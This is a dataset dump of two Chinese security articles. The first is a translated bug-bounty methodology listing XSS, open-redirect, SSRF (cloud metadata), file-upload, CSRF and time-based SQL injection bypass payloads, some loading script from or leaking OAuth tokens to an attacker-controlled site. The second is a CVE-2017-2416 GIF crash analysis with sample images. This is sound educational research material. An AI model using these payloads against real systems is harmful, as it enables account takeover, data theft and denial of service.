text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# zseano的方法论全解-第一部分测试的常见目标及原因
|
##### 译文声明
本文是翻译文章，文章原作者 bugbountyhunter，文章来源：bugbountyhunter.com
原文地址：<https://www.bugbountyhunter.com/methodology/zseanos-methodology.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
最近又开始头铁测试国外的bug bounty，不过很显然那个难度和国内的一些公益src和教育src的难度差别非常大，有点伤害自信，说实话
半个月毫无建树的情况下，想到之前下载的zseano的方法论这个pdf，本来抱着看一看的心态来的，不过他全篇下来71页，非常细致的讲了一些漏洞挖掘的思路、要点，并且以提问的方式告诉你潜在的漏洞点，对我的漏洞挖掘非常有启发，决定好好整理一波，本着分享的原则，也发布给大家，希望各位师傅也能挖洞赎回自由身吧，不过由于进度实在太慢，本次就先发他的干货第一部分
zseano是一名来自英国的顶级黑客，也是bugbountyhunter.com的创始人，本文是根据他公开发布的[zseanos
methodology](https://www.bugbountyhunter.com/methodology/zseanos-methodology.pdf)整理而成
* * *
## 我测试时的常见目标及原因
当第一次开始实施一项计划时，我倾向于坚持我最熟悉的东西，并试图用我的发现创造尽可能多的影响。以下是我在漏洞悬赏计划中最常见的漏洞类型，以及我是如何找到这些错误的。
我知道你坐在那里想，”等等，你不是要找每一种类型的错误吗？当然，我最终会寻找每一种类型的问题，但在刚开始的时候，这些是我关注的错误类型。作为一个黑客，你也不可能完全知道，所以千万不要抱着尝试每一种类型的漏洞的心态进入测试。你可能会精疲力尽，特别是在接触一个新项目的情况下。
我的方法是在同一个项目上花几个月的时间，目的是随着时间的推移尽可能地深入研究
，我在学习他们的网络应用时，尽可能地深入。根据我的经验开发者在整个互联网上都在犯同样的错误，而我最初的观察是为了让我感受到他们对整个网络应用的安全的总体看法。
重申一下，在我的第一次初步观察中，我主要是看是否有过滤器，目的是为了绕过这些。这为我创造了一个起点，也创造了一个可以追逐的
“线索”。测试你面前的功能，看看它对最基本的错误类型是否安全。你会惊讶于你可能发现的有趣的行为，如果你不去尝试，你怎么会知道。
## XSS
尽管有一些方法可以非常容易地防止跨站脚本，但跨站脚本是在错误赏金计划中发现的最常见的漏洞之一。
对于初学者来说，XSS只是能够在一个参数/字段中输入自己的HTML，而网站将其反映为有效的HTML。例如，你有一个搜索表单，你输入了<img src=x
onerror=alert(0)>，在按下 “搜索 “时，它显示了一个破碎的图像和一个警报框。这意味着你输入的字符串被反映为有效的HTML
并且容易受到XSS的攻击。
我对我发现的每一个参数都进行了测试，不仅是反射式XSS，也包括盲XSS。由于bug
bounties是黑盒测试，我们实际上不知道服务器是如何处理这些参数的，所以为什么不试试呢？它可能被储存在某个地方，也许有一天会触发。没有多少研究人员会测试每一个参数，特别是盲XSS，他们认为，”它执行的机会有多大？”。相当高，我的朋友。而你的尝试会有什么损失呢？什么都没有，你只是得到了一些东西，比如通知你的盲XSS已经执行了的报告!
我遇到的最常见的XSS问题是过滤器和WAF。WAF通常是最难绕过的，因为它们通常在运行某种类型的搜索引擎。如果它是最新的，它将寻找一切。
说到这有时确实存在旁路，一个例子是我在面对Akamai的WAF。我注意到他们只对参数值进行检查，而不是对实际参数名称进行检查。该漏洞点表名参数名称和值为JSON类型。
> <script>{“paramname”:”value”}</script>
我设法使用下面的有效载荷来改变有效载荷之后到我的网站的任何链接 这使我能够运行我自己的JavaScript（因为它改变了<script src=>链接到
我的网站）。这里的payload是参数名，而不是值。
> ?”></script><base%20c%3D=href%3Dhttps:\mysite>
在针对WAF的测试中，没有明确的方法可以绕过它们。我建议查看其他人的研究，看看过去有什么成功的方法，然后从那里学习。查看别人在这方面的研究，看看过去的成功经验，然后从那里开始工作。(因为他们很可能已经打了补丁，所以你需要找出一个新的
绕过。记得我说过要创造一个线索吗？这个项目可能会告诉你常见的WAF工作原理
> <https://github.com/0xInfection/Awesome-WAF>
在面对过滤器的时候，我的眼睛往往会发亮。过滤器意味着我们正在测试的参数容易受到XSS的攻击，但开发者已经创建了一个过滤器来防止任何恶意的HTML标签。这也是我在刚开始做一个网站的时候，花大量时间寻找XSS的主要原因之一，因为如果他们对某些有效载荷没有进行过滤，就会导致XSS的出现。因为如果他们过滤了某些有效载荷，就可以让你感觉到他们网站的整体安全性
网站的整体安全性。
记住，XSS是最容易防范的错误类型，那么他们为什么要创建一个过滤器？他们还围绕什么创建了过滤器（想想SSRF…）？只过滤内部IP地址？也许他们忘记了<http://169.254.169.254/latest/meta-data> – 很有可能，他们确实忘记了，而你成功了！
> Tips: 169.254.网段是在DHCP分配IP地址失败时分配的内网IP地址，是另一种形式的内网IP网段（个人理解，如果不对欢迎评论区指正）
### 测试XSS和过滤的过程
**1\. 测试不同的编码并检查任何奇怪的行为**
**找出我们正在测试的参数允许哪些有效载荷，以及网站如何反映/处理它。**
我是否可以在没有任何过滤的情况下输入最基本的<h2>, <img>,
<table>，并将其输出？而被反映为HTML？他们是否过滤了恶意的HTML？如果它被输出为<或%3C，那么我将测试双重编码%253C和%26lt;，看看它如何处理这些类型的编码。
改项目提供了一些有趣的编码方式尝试
> <https://d3adend.org/xss/ghettoBypass>
**这一步是要找出什么是允许的和不允许的以及它们如何处理我们的有效载荷。**
例如，如果<script>被
反映为<script>，但%26lt;script%26gt;被反映为<script>，那么我就成功绕过了，我可以开始了解他们是如何处理编码（这在以后的错误中可能会帮助我！）。如果不管你怎么试，你总是看到<script>或%3Cscript%3E，那么有关的参数就可能没有漏洞。
**2\. 站在开发者的角度思考过滤器的功能(随着时间的推移和经验的积累，这将变得更加容易)**
这一步是站在开发者的角度思考，弄清楚他们创建的过滤器是什么类型的。问题包括：
他们创建了什么类型的过滤器？
这个过滤器是否存在于整个web网站的其他地方？
如果我注意到他们正在过滤<script>、<iframe>以及
“onerror=”，但注意到他们没有过滤<script，那么我们知道挑战开始了，是时候发挥创意了。
1. 他们是否只寻找完整有效的HTML 标签吗？ 如果是的话，我们可以用<script src=/mysite.com?c= 来绕过脚本标签检查
2. 这份HTML标签黑名单足够完善吗？ 也许开发者没有及时更新并 忘记了诸如<svg>之类的东西
3. 如果黑名单足够完善，那么这个黑名单是否存在于其他地方 思考一下文件的上传。这个网站是如何处理 编码？<%00iframe, on%0derror. 这一步是你不会出错的地方，你可以通过简单地尝试，看看会发生什么。尽可能多地尝试不同的组合 尽可能多的不同组合，不同的编码和格式。你测试的越多，你就会学到越多
4. 我常用的测试代码
<h2> // h2 标签通常不会被列入黑名单
<h2 //他们只是在寻找完整的标签吗？ 绕过方法 <script src=//mysite.com?c=
<%00h2 // 他们是否在寻找 < 之后的字符 - 我们可以欺骗它吗？ 我运行了所有 %0d %0a 等。 %0d %00 等是否会导致任何类型的 WAF 执行并阻止请求？
</script/x> // 尾随/关闭标签有时会破坏过滤器
<<h2>> // 可以去掉外面的 < > 离开 <h2>
<IFRAME> // 区分大小写？
“onxss= // 他们是否只寻找最知名的 on{} 事件处理程序？{}
'onxss= //有时 ' 会产生不同的行为。也许导致sql注入？
**XSS测试思路**
1. 如何处理非恶意的HTML标签，如<h2>
2. 不完整的HTML标签如何处理，比如<iframe src=//zseano.com/c=>
3. 如何处理编码，如<%00h2(这里有很多可以尝试的。 %0d, %0a, %09等)
按照这个过程从各个角度测试，并确定可能存在的过滤规则.
推荐的XSS绕过资源
> [https://github.com/masatokinugawa/filterbypass/wiki/Browser’s-XSS-Filter-> Bypass-Cheat-> Sheet](https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-> Filter-Bypass-Cheat-Sheet)
## CSRF
CSRF是指能够强迫用户在你的网站上对目标站点进行一个特定的动作，通常是通过一个HTML表单：
> <form action=”/login” method=”POST”>
CSRF的一个例子，是强迫用户将他们的账户电子邮件修改为你控制的电子邮件，从而导致账户接管，开发人员可以非常容易的引入CSRF令牌来保护，但仍然有一些开发者选择创建自定义代码来控制。
寻找CSRF漏洞时，主要寻找网站上应该包含CSRF令牌的页面，例如更新账户信息页面。虽然这个思路有点傻，但从实际情况来看，证明某个页面确实具有安全保护，可以给你一个明确的指示，让你了解整个网站的安全性。
### 测试思路
1. 你在发送空白邮件时候有什么参数。
2. 在发送一个空白的CSRF值时候会发生什么，是否能从返回的错误中发现任何有关框架的信息。
3. 在发生CSRF错误的时候，修改是否成功。
4. 你在其他网站上看到过这个参数名称吗？也许根本就没有任何保护措施!
5. 测试他们最安全的功能（账户功能通常如上所述），然后再向后努力。
6. 当你继续测试网站时，你可能会发现一些功能有不同的CSRF保护。思考一下为什么会有不同，不同的团队？旧的代码库？也许使用了一个不同的参数名称，而现在你可以专门寻找这个参数，因为你知道它很可能存在漏洞。
### 常见的CSRF漏洞类型
1. 当CSRF令牌存在时检查 开发人员采取的一个常见方法是检查referer头的值，如果它不是他们的网站，就放弃请求。然而，这样做会适得其反，因为有时只有在真正找到referer头的情况下才会执行检查，而如果没有找到，就不检查，这种情况下的payload:
meta name="referrer" content="no-referrer" />
<iframe src=”data:text/html;base64,form_code_here”>
2. 检查域名是否在referer头中有时他们只会检查他们的域名是否在引用者中找到，因此在你的网站上创建一个目录并访问就可以成功绕过。
https://www.yoursite.com/https://www.theirsite.com/
3. 绕过CSRF过滤，在找到CSRF令牌保护的敏感区域，测试是否创建了自定义过滤。有过滤的地方，就有方法绕过！
在寻找CSRF时，并没有一个常见的页面清单，因为每个网站都包含不同的功能，但所有敏感的功能都应该受到CSRF令牌保护，所以要找到并进行测试。例如，网站开放了支付功能，能否强迫其他用户支付，从而使得从他人的账户扣费。
## 开放重定向
开放重定向是我最喜欢发现的漏洞，因为如果目标有某种类型的Oauth流程在处理令牌的时候重定向，我通常有100%的成功率在验证流程中使用无害的重定向。
开放重定向的URL构成非常简单，访问的时候会被重定向到参数控制的URL地址
> <https://www.google.com/redirect?goto=https://www.bing.com/>
很多开发者没有对这些参数进行任何类型的过滤/限制，所以它们非常非常容易被发现。但过滤器也时候也会存在阻止对任何网页的重定向，下面是我用来绕过一些过滤器的payload，但最重要的是用来确定过滤器是如何工作的
\/yoururl.com
\/\/yoururl.com
\\yoururl.com
//yoururl.com
//[email protected]
/\/yoursite.com
https://yoursite.com%3F.theirsite.com/
https://yoursite.com%2523.theirsite.com/
https://yoursite?c=.theirsite.com/ (use # \ also)
//%2F/yoursite.com
////yoursite.com
https://theirsite.computer/
https://theirsite.com.mysite.com
/%0D/yoursite.com (Also try %09, %00, %0a, %07)
/%2F/yoururl.com
/%5Cyoururl.com
//google%E3%80%82com
我通过谷歌搜索一些常见的词来寻找可能有漏洞的页面：（别忘了要测试大小写）
return
return_url
rUrl
cancelUrl
url
redirect
follow
goto
returnTo
returnUrl
r_url
history
goback
redirectTo
redirectUrl
redirUrl
### 开放重定向测试思路
首先你需要熟悉Oauth登录流程的工作原理，建议查看页面：
> <https://www.digitalocean.com/community/tutorials/an-introduction-to-> oauth-2>
通常情况登陆页面会是这样，同时redirect_url将被列入白名单，只允许使用*.target.com/*
>
> [https://www.target.com/login?client_id=123&redirect_url=/sosecure](https://www.target.com/login?client_id=123&redirect_url=/sosecure)
你注意到了吗？在该网页使用一个开放的重定向，就可以泄露令牌，一旦登录成功，令牌会随着重定向请求被发送到任意页面。
这个用户访问如下网页，当登录成功时将被重定向到攻击者的网站，同时还携带着用于认证的令牌，账户接管漏洞报告来了！
>
> [https://www.target.com/login?client_id=123&redirect_url=https://www.target.com/redirect?redirect=1&url=https://www.zseano.com/](https://www.target.com/login?client_id=123&redirect_url=https://www.target.com/redirect?redirect=1&url=https://www.zseano.com/)
人们经常遇到的一个问题是没有正确地对数值进行编码。特别是如果目标只允许/localRedirects。你的有效载荷看起来像类似于/redirect?goto=[https://zseano.com/，](https://zseano.com/%EF%BC%8C)
但当使用这个时，?参数可能会在重定向中被丢弃（这取决于网络应用的工作方式和重定向的数量）。
这种情况也可能发生在包含多个参数（通过&连接），重定向参数可能被遗漏。我将 总是对某些值进行编码，如& ? # / /，
以迫使浏览器在第一次重定向后对其进行解码。
> /redirect%3Fgoto=<https://www.zseano.com/%253Fexample=hax>
第一次重定向后，浏览器会将URL中的%3F解码为?，我们的参数被成功地发送过去。我们最终得到了：
>
> <https://www.example.com/redirect?goto=https://www.zseano.com/%3Fexample=hax>
然后，当它再次重定向时，将允许”example”参数也被发送。
有时你需要根据重定向的数量对它们进行双重编码和添加参数
https://example.com/login?return=https://example.com/?redirect=1%26returnurl=http
https://example.com/login?return=https%3A%2F%2Fexample.com%2F%3Fredirect=
如果你发现的重定向是通过”Location:”头，那么XSS就不可能发生。然而，如果它是通过 “window.location
“这样的东西重定向的，那么你应该测试”javascript:”，而不是重定向到你的网站，因为XSS也可能会存在。下面是绕过过滤器的一些常见方法：
java%0d%0ascript%0d%0a:alert(0)
j%0d%0aava%0d%0aas%0d%0acrip%0d%0at%0d%0a:confirm`0`
java%07script:prompt`0`
java%09scrip%07t:prompt`0`
jjavascriptajavascriptvjavascriptajavascriptsjavascriptcjavascriptrjavascriptijavascript
pjavascriptt:confirm`0`
## SSRF
SSRF是指服务器向你构造的URL/端点发起一个请求，这可能出于多种原因，有时候它的出现并不表明目标是脆弱的。
在寻找SSRF的时候，我会特别寻找接收一个URL参数的功能点，因为正如前所述，我需要寻找一个网站的特定区域，在那里开发人员可能已经创建了一个过滤器来防止恶意活动。
例如，在大型赏金漏洞项目中，我会立即尝试找到他们的API控制台（如果有的话，通常可以在他们的开发者文档页面上找到），这个页面通常包含一些功能点，主要接受一些URL参数并执行代码。
考虑一下webhooks。除了处理URL的功能，只需注意处理URL的常用参数的参数名称。我发现雅虎的SSRF就是这样做的，因为一个请求其中就包含参数
“url”。另一个很好的例子是来自Jobert Abma提交的公开漏洞报告，该功能就在他面前，不需要特别的侦察或暴力测试。
> <https://hackerone.com/reports/446593>
### CSRF测试思路
在测试SSRF时，你应该总是测试他们如何处理重定向。你实际上可以通过使用XAMPP和NGrok在本地托管一个重定向。XAMPP允许你在本地运行PHP代码，NGROK给你一个公共的互联网地址（在完成测试后不要忘记关闭它！)
XAMPP的教程：
> <https://www.bugbountyhunter.com/>
1. 设置一个简单的重定向脚本，看看目标是否解析了重定向并跟随。
2. 如果你在重定向前加入sleep(1000)，会发生什么，你会不会导致服务器挂起和超时？
3. 也许他们的过滤器只检查参数值而不检查重定向值，并成功允许你读取内部数据。
4. 不要忘记尝试使用你发现的一个潜在的开放重定向作为你的链的一部分，如果他们是 过滤外部网站。
除了在网站上寻找需要URL参数的功能外，还要始终寻找他们可能使用的任何第三方软件，如Jira。公司并不总是打补丁，这会使得自己容易受到攻击，所以要始终保持对最新的CVE的关注。像这样的软件通常包含有趣的服务器相关功能，可以被用于恶意目的。
## 文件上传
开发者有99%的可能性已经创建了一个过滤器，以确定允许哪些文件，阻止哪些文件。我知道在我测试这个功能之前，会有（或至少应该有）一个过滤器。当然，这取决于他们把文件储存在哪里，但如果是在他们的主域，那么我首先会尝试上传.txt、.svg和.xml。这三种文件类型有时会被遗忘，并绕过过滤器。
我首先测试.txt，以检查过滤器的实际严格程度（如果它说只允许图片.jpg.png.gif，例如），然后再继续。
除此以外，只要简单地上传三种不同的图片类型（.png.gif和.jpg），就可以让你知道他们是如何处理上传的。例如，是否所有的照片都以相同的格式保存，不管我们上传的照片是什么类型？他们是否不相信我们的任何输入而总是保存为.jpg？
测试文件上传文件名的方法类似于XSS，测试各种字符和编码。例如，如果你将文件命名为
“zseano.php/.jpg”，过滤器可能看到”.jpg”并认为没问题，但服务器实际上把它写成了zseano.php，而忽略了正斜杠之后的所有内容。
我在使用有效载荷zseano.html%0d%0a.jpg时也取得了成功。服务器会看到”.jpg”，但由于%0d%0a是换行字符，所以它被保存为zseano.html。不要不要忘记，文件名通常会反映在页面上，你可以在文件名中偷换XSS
字符（有些开发者可能认为用户不能保存带有< > “字符的文件）。
------WebKitFormBoundarySrtFN30pCNmqmNz2
Content-Disposition: form-data; name="file"; filename="58832_300x300.jpg<svg
onload=confirm()>"
Content-Type: image/jpeg
ÿØÿà
开发者到底在检查什么，他们是如何处理的？他们是否信任我们的任何输入吗？例如，如果我提供的是:
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg"
Content-Type: text/html
过滤器是否看到”.jpg “并认为”图像扩展，一定没问题”。是相信我的内容类型并将其反映为Content-Type:text/html？还是根据文件的扩展名来设置内容类型？如果你不提供文件扩展名(或文件名)，会发生什么，它会默认为内容类型或文件扩展名吗？
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano."
Content-Type: text/html
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename=".html"
Content-Type: image/png
<html>HTML code!</html>
这都是向它提供畸形的输入，看它对这些输入的信任程度。也许它们甚至不对文件扩展名进行检查，而是对图像大小进行检查。有时，如果你留下图像头，这就足够绕过检查。
———WebKitFormBoundaryoMZOWnpiPkiDc0yV
Content-Disposition: form-data; name=”oauth_application[logo_image_file]”;
filename=”testing1.html”
Content-Type: text/html
‰PNG
<script>alert(0)</script>
## IDOR
DOR错误的一个例子是简单的一个网址，如<https://api.zseano.com/user/1>
，当被查询时，它将给你提供用户ID”1”的信息。把它改成用户ID”2”应该给你一个错误，并拒绝向你显示其他用户的详细信息。然而，如果他们是脆弱的，那么它将允许你查看该用户的详细信息。IDOR是关于将整数值（数字）改变为另一个整数值，并看看会发生什么。
当然，这并不总是像只寻找整数（1）值那么简单。有时你会看到一个GUID（2b7498e3-9634-4667-b9ce-a8e81428641e）或其他类型的加密的值。强制执行GUID通常是一个死胡同，所以在这个阶段我将检查这个值的任何泄漏。我曾经有一个漏洞，我可以删除任何人的
照片，但我无法列举出GUID值。访问一个用户的公共档案并查看源文件，发现用户的照片GUID被保存在文件名为([https://www.example.com/images/users/2b7498e3-9634-4667-b9ce-a8e81428641e/photo.png）](https://www.example.com/images/users/2b7498e3-9634-4667-b9ce-a8e81428641e/photo.png%EF%BC%89)
这方面的一个例子可以在FirstBlood上看到。当创建一个约会时，你会得到一个GUID值来管理它。仅仅是执行这个动作，我的脑子里就已经有很多问题了。这个值在网站的任何地方被泄露了吗，或者它已经被被谷歌收录？这就是我开始寻找更多关键词的地方，例如
“appointment_id”, “appointmentID”.
我有另一个案例，我注意到ID是用相同的长度和字符生成的。起初我和另一位研究人员列举了尽可能多的组合但后来意识到我们不需要这样做，我们可以简单地使用一个整数值。吸取的教训：即使你看到某种类型的加密值，只要试着用一个整数!服务器可能会对它进行同样的处理。你会惊讶于有多少公司依赖隐蔽性来保证安全。
当开始一个项目时，我会专门在移动应用程序上寻找IDOR，因为大多数移动应用程序将使用某种类型的API，根据过去的经验，它们通常容易受到IDOR的攻击。当查询你的个人资料时，它更有可能向他们的API发出请求，只用你的用户ID来识别你是谁。
IDOR通常比看到的要多。想象一下，你有一个允许你上传私人照片的网站，但你发现了一个IDOR，它允许你查看你想要的任何照片。深入思考一下，”如果他们没有检查我是否拥有我所查询的ID，那么他们还有什么忘了做某些权限检查？”。如果你能以各种不同的角色（管理员、访客）注册，你能以访客身份执行管理操作吗？非付费会员可以访问付费功能吗？IDOR的查找很有趣，因为有时你可以发现整个网络应用的故障。
除了搜索整数值之外，我还会尝试简单地注入ID参数。任何时候你看到一个请求，并且postdata是JSON，{“example”:
“example”}，试着简单地注入一个新的参数名称，{“example”: “example”, “id”:
“1”}。当JSON被服务器端解析时，你根本不知道它可能会如何处理它，所以为什么不试试？这不仅适用于JSON请求，也适用于所有请求，但当它是一个JSON有效载荷时，我通常有更高的成功率。(寻找PUT请求！)
## CORS跨域资源共享
一个真正常见的寻找过滤的地方（记住，我感兴趣的是找到特定的过滤器来尝试绕过！）当你看到”Access-Control-Allow-Origin:”作为响应中的一个头。你也会有时也会看见”Access-Allow-Credentials:true”，这取决于实际情况。这些头允许外部网站读取网站的内容，例如，如果你有敏感信息在[https://api.zseano.com/user/，而你看到”Access-Control-Allow-Origin](https://api.zseano.com/user/%EF%BC%8C%E8%80%8C%E4%BD%A0%E7%9C%8B%E5%88%B0%22Access-Control-Allow-Origin):
[https://www.yoursite.com/”，那么你就可以通过你的网站成功读取该网站的内容。如果网站上需要会话cookie，则需要”Allow-credentials”。](https://www.yoursite.com/%22%EF%BC%8C%E9%82%A3%E4%B9%88%E4%BD%A0%E5%B0%B1%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87%E4%BD%A0%E7%9A%84%E7%BD%91%E7%AB%99%E6%88%90%E5%8A%9F%E8%AF%BB%E5%8F%96%E8%AF%A5%E7%BD%91%E7%AB%99%E7%9A%84%E5%86%85%E5%AE%B9%E3%80%82%E5%A6%82%E6%9E%9C%E7%BD%91%E7%AB%99%E4%B8%8A%E9%9C%80%E8%A6%81%E4%BC%9A%E8%AF%9Dcookie%EF%BC%8C%E5%88%99%E9%9C%80%E8%A6%81%22Allow-credentials%22%E3%80%82)
开发人员将创建过滤器只允许他们的域名读取内容，但请记住，当有一个 过滤器时，通常会有一个绕过的方法。
最常见的方法是尝试: anythingheretheirdomain.com
因为有时他们只会检查是否找到他们的域名。
在寻找CORS错误配置时，你可以简单地在你的每个请求中添加 “Origin: theirdomain.com”，然后搜索 “Access-Control-Allow-Origin”。即使你发现某个端点确实包含这个头，但它并不包含任何敏感信息，也要花时间尝试绕过它。请记住开发人员重复使用这种”无害”的旁路可能会在以后的研究中发挥作用。
## SQL注入
有一点需要注意的是，旧的的代码通常更容易受到SQL注入的影响，所以
留意旧的功能。SQL注入可以简单地在整个网站上进行测试，因为大多数代码会进行某种数据库查询（例如，当搜索时，它必须用你的输入查询数据库）。
当测试SQL注入时，是的，你可以简单地使用’并寻找错误，但自过去以来已经发生了很多变化，现在，很多开发人员已经禁用了错误信息，所以我总是用时间注入的payload引起延时，因为通常这些payload会通过任何过滤器。此外如果响应有延迟，这意味着你的有效载荷被盲目地执行了，这样就更容易表明你的有效载荷被盲目地执行。
' or sleep(15) and 1=1#
' or sleep(15)#
' union select sleep(15),null#
当测试SQL注入时，我将采取与XSS相同的方法，并在整个网络应用中测试整个网络应用程序。
说实话，我在寻找SQL方面的成功率没有其他漏洞类型那么高
## 业务逻辑漏洞
当所有的功能都在你面前的时候，为什么还要自己创造工作？通过简单地了解一个网站应该如何工作，然后尝试各种技术来创造奇怪的行为，可以导致一些有趣的发现。例如，设想你正在测试一个发放贷款的目标，他们的最大限额是1000英镑。如果你能简单地将其改为10,000英镑并绕过他们的限额，那么你就做到了你所做的只是利用了你面前的这个功能。没有扫描，没有奇怪的过滤器，也不涉及黑客行为。只是简单地检查这个过程是否是
应该如何工作。
在寻找应用逻辑错误时，我经常寻找的一个领域是与旧功能交互的新功能。想象一下，你可以要求对一个页面的所有权，但要这样做，你需要提供身份证明。然而，一个新的功能出现了，它使你能够升级你的页面以获得额外的好处，但唯一需要的信息是有效的支付数据。在提供这些信息后，他们将你添加为页面的所有者，而你已经绕过了识别步骤。当你继续阅读时，你会了解到我的方法的很大一部分是花数天/数周的时间来了解几天/几周的时间来了解网站应该如何运作，以及开发人员希望用户能输入/做什么，然后想出办法来打破和绕过这个步骤。
另一个简单的商业逻辑错误的好例子是能够用电子邮件注册一个帐户的电子邮件[[email protected]](mailto:[email protected])。有时这些账户有特殊权限，如没有速率限制和绕过某些验证。
业务/应用逻辑漏洞往往是在你了解了网络应用程序的工作原理，并且对他们所提供的服务有了更清晰的认识之后才会浮现出来。你越是使用他们的网站，你就越是开始了解事情应该如何运作（正如他们的初衷），但他们是否真的运作吗？想象一下，你刚刚在一个网站上赢得了一场比赛，你可以访问/prize/claim
to the
way。可以访问/prize/claim来领取你的奖品。这个端点（或领奖过程）是否对那些没有中奖的人可用吗？寻来描述功能应该如何工作的明确警告，以及API文档，并开始测试!
业务/应用逻辑漏洞经常被忽视，因为大多数人都在测试payload，希望得到最好的结果，但是当涉及到商业/应用逻辑问题时，通常没有明确的payliad可以使用。实际上，这与payload关系不大，而更多的是要了解网络应用的流程并规避这些。
正如你在上面看到的，你不能在BARKER上注册成为高级用户，因为它没有被启用，而且是
“即将到来”。但实际情况是这样的吗？你需要测试的是你的眼前的东西，不要忽视这些东西! | 社区文章 |
来源：[Flanker Sky](https://blog.flanker017.me/cve-2017-2416-gif-rce-chn/)
作者：[flanker017](https://blog.flanker017.me/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%EF%BC%8C%E6%AC%A2%E8%BF%8E%E5%85%B3%E6%B3%A8/)
ImageIO
适用于：iPhone 5 及更新机型、iPad 第 4 代及更新机型、iPod touch 第 6 代及更新机型
影响：处理恶意制作的图像可能会导致任意代码执行
说明：内存损坏问题已通过改进输入验证得到解决。
CVE-2017-2416：腾讯科恩实验室的 @flanker_hqd
(For English version see https://blog.flanker017.me/cve-2017-2416-gif-remote-exec/)
## Abstract
前段时间偶然发现了一个ImageIO.framework中的图像解析漏洞，通过发送这个恶意图片，可以在任何有图片显示功能的应用中直接触发该漏洞，特别是各种IM应用（例如iMessage,
Telegram, Slack, iMessage和国产流行IM，以及邮件应用例如Mail, Outlook, Inbox,
Gmail，还有一些想做IM的金融应用例如alipay等），导致应用崩溃。在精心布置的内存布局下还有远程代码执行的可能。
让问题变得更蛋疼的是，很多客户端通常会在启动的时候再去尝试恢复加载之前的记录，也包括图片，这导致每次启动的时候该漏洞都会被触发，自动地成为了一个可持续的漏洞
– -b 例如iMessage和Mail即是如此。通过iMessage给一个没有升级到10.12.4的人发送攻击图片，其iMessage就再也打不开了。
## DEMO videos
第一个视频展示了发送一条恶意imessage就导致对方崩溃的过程
[https://blog.flanker017.me/wp-content/uploads/2017/04/crash1.mp4](https://blog.flanker017.me/wp-content/uploads/2017/04/crash1.mp4)
然后被攻击的设备就再也打不开imessage了
[https://blog.flanker017.me/wp-content/uploads/2017/04/crash123.m4v](https://blog.flanker017.me/wp-content/uploads/2017/04/crash123.m4v)
### Crash trace
* thread #1: tid = 0x17570, 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
ImageIO`IIOReadPlugin::IIOReadPlugin:
-> 0x7fff9557f1ab <+67>: mov al, byte ptr [rdi + 0x40]
0x7fff9557f1ae <+70>: mov qword ptr [rbx + 0x20], rdi
0x7fff9557f1b2 <+74>: mov byte ptr [rbx + 0xc8], al
0x7fff9557f1b8 <+80>: xor eax, eax
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0 com.apple.ImageIO.framework 0x00007fffa144d1ab IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
1 com.apple.ImageIO.framework 0x00007fffa14b8c93 GIFReadPlugin::InitProc(CGImagePlugin*, unsigned long, unsigned long) + 59
2 com.apple.ImageIO.framework 0x00007fffa14177da IIOImageSource::makeImagePlus(unsigned long, __CFDictionary const*) + 252
3 com.apple.ImageIO.framework 0x00007fffa141918b IIOImageSource::getPropertiesAtIndexInternal(unsigned long, __CFDictionary const*) + 57
4 com.apple.ImageIO.framework 0x00007fffa141911c IIOImageSource::copyPropertiesAtIndex(unsigned long, __CFDictionary const*) + 98
5 com.apple.ImageIO.framework 0x00007fffa13f03ca CGImageSourceCopyPropertiesAtIndex + 181
6 com.apple.AppKit 0x00007fff9cfdbcae +[NSBitmapImageRep _imagesWithData:hfsFileType:extension:zone:expandImageContentNow:includeAllReps:] + 543
7 com.apple.AppKit 0x00007fff9cfdba68 +[NSBitmapImageRep _imageRepsWithData:hfsFileType:extension:expandImageContentNow:] + 93
8 com.apple.AppKit 0x00007fff9d4bf08e -[NSImage _initWithData:fileType:hfsType:] + 479
在苹果平台上，基本所有的图像解析功能最后都会调用`[NSImage _initWithData:fileType:hfsType:]`,
随后`IIOImageSource`将图像的解析根据图像头特征分配到对应的plugin中。注意这里并不是基于文件扩展名做的判断，所以后续我们可以通过这个特性绕过过滤实现利用。
## 漏洞样例图片
如果把它拖动到任意macos/iOS app中的时候崩溃了，那么你的系统受该漏洞影响，赶快升级吧。 测试样例文件下载：[Sample
PNG](https://blog.flanker017.me/wp-content/uploads/2017/04/Stykz_Sample2.png)
[Sample GIF](https://blog.flanker017.me/wp-content/uploads/2017/04/Stykz_Sample2.gif) 仅供自测使用，请勿用于非法用途例如发送给他人。
# 漏洞分析
漏洞的一个源头在`GIFReadPlugin::init`函数中，观察如下反汇编代码：
v32 = (signed __int16)width * (signed __int64)height;
if ( v32 > filesize * 1100 * v29 )
{
LOBYTE(aspectbyte) = 0;
v15 = 0LL;
if ( this->gapC0[8] )
{
LOBYTE(aspectbyte) = 0;
LogError(
"init",
498,
"malformed GIF file (%d x %d) - [canvasSize: %ld fileSize: %ld ratio: %d] \n",
(unsigned int)(signed __int16)width,
(unsigned int)(height), // width >> 16 is height
(signed __int16)width * (signed __int64)SHIWORD(width),
filesize,
v32 / filesize);
v15 = 0LL;
}
goto LABEL_71;
}
__text:00000000000CC51F movsx rax, r9w
__text:00000000000CC523 mov ecx, r9d
__text:00000000000CC526 shr ecx, 10h
__text:00000000000CC529 movsx rbx, cx
__text:00000000000CC52D imul rbx, rax
__text:00000000000CC531 imul rdx, r12, 44Ch
__text:00000000000CC538 mov rax, rdx
__text:00000000000CC53B imul rax, rsi
__text:00000000000CC53F cmp rbx, rax
